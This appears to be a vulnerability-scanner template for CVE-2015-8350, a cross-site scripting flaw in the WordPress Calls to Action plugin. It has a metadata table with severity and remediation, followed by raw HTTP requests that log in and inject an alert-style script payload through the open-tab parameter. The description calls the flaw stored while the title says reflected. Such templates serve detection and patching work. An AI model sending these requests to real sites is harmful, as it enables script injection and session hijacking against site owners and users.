| Title | WordPress Calls to Action <=2.4.3 - Authenticated Reflected XSS |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Attackers can execute arbitrary scripts in the context of the affected website, leading to session hijacking, defacement, or redirection. |
| Remediation | Update to version 2.5.1 or later to fix the vulnerabilities. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00984 |
| CVE ID | CVE-2015-8350 |
| CWE ID | CWE-79 |
| Tags | seclists cve cve2015 wordpress wp-plugin xss reflected authenticated |
Calls to Action plugin before 2.5.1 for WordPress contains stored XSS caused by unsanitized input in open-tab parameter in wp-admin/edit.php and wp-cta-variation-id parameter in ab-testing-call-to-action-example/, letting remote attackers inject arbitrary web script or HTML, exploit requires sending crafted requests.
GET /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=R1kyvO&pwd=BNATyo&wp-submit=Log+In
GET /wp-admin/edit.php?post_type=wp-call-to-action&page=wp_cta_global_settings&open-tab='><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Accept-Encoding: gzip
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